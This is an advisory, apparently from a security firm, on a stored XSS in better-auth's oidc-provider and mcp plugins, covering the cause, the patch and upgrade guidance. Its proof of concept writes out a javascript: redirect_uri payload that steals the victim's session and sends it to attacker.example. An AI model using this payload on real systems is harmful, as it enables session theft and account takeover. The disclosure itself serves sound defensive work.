high · 7.7Jul 7, 2026

better-auth Stored XSS via javascript: redirect_uri in oidc-provider and mcp Plugins

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

The better-auth oidc-provider and mcp plugins accept any string as an OAuth redirect URI, letting an attacker store a javascript: URL that executes in the authorization server's origin when a victim a

Packagebetter-auth
Ecosystemnpm
Affected< 1.6.13
Fixed in1.6.13

The problem

The `oidc-provider` and `mcp` plugins in `better-auth` typed `redirect_uris` as `z.array(z.string())` with no scheme validation. A `POST /oauth2/register` call could store any URI, including `javascript:` payloads, in the database.

When the victim later visits the attacker's authorize URL and clicks Approve, the consent handler calls `new URL(value.redirectURI)` and returns the result as `redirectURI` in a JSON response. A consent page that assigns this value to `window.location.href` executes attacker JavaScript inside the authorization-server origin.

This is a stored DOM XSS that enables full account takeover via session-scoped API calls.

Proof of concept

A working proof-of-concept for this issue in better-auth, with the exact payload below.

http
# Step 1: Register a malicious OAuth client (authenticated user, or unauthenticated if allowDynamicClientRegistration: true)
POST /api/auth/oauth2/register
Content-Type: application/json

{
  "client_name": "Legit App",
  "redirect_uris": ["javascript:fetch('/api/auth/get-session').then(r=>r.json()).then(d=>fetch('https://attacker.example/x?c='+btoa(JSON.stringify(d))))//"]
}

# Step 2: Send victim to the authorize URL with the returned client_id and that redirect_uri
GET /api/auth/oauth2/authorize
  ?client_id=<registered_client_id>
  &redirect_uri=javascript:fetch('/api/auth/get-session').then(r=>r.json()).then(d=>fetch('https://attacker.example/x?c='+btoa(JSON.stringify(d))))//
  &response_type=code
  &scope=openid

# Step 3: Victim approves consent. The server returns:
# { "redirectURI": "javascript:fetch('/api/auth/get-session')...//" }
# Consent page assigns res.data.redirectURI to window.location.href -> XSS fires.

The root cause is missing scheme validation at the OAuth dynamic client registration endpoint (CWE-79 / CWE-601). The `redirect_uri` was stored verbatim and then passed through `new URL()` at consent time, which preserves the `javascript:` scheme intact. The trailing `//` in the payload comments out the authorization code that `searchParams.set` appends, preventing a parse error that would otherwise break execution.

The patch (commit `be32012`, PR #9838) introduced `SafeUrlSchema` and `isSafeUrlScheme` in `@better-auth/core`. Both `oidc-provider` and `mcp` now run every `redirect_uri` through that validator at registration time and reject `javascript:`, `data:`, and `vbscript:` schemes before persistence.

A follow-up hardening (commit `13abc79`, PR #9845) replaced `URL.canParse` with a `try/catch` fallback and also rejects URIs containing a fragment, per RFC 6749 §3.1.2.

The fix

Upgrade to `better-auth@1.6.13` (stable) or `1.7.0-beta.4` (pre-release). Both releases add `SafeUrlSchema` scheme validation to `oidc-provider` and `mcp` at registration time.

If you cannot upgrade immediately, add a client-side scheme check before any navigation: parse the returned URI and only navigate when `new URL(redirectURI).protocol` is `http:` or `https:`. Alternatively, migrate to `@better-auth/oauth-provider`, which already enforced this validation prior to this advisory.

Reported by hillalee.

References: [1][2][3][4]

Related research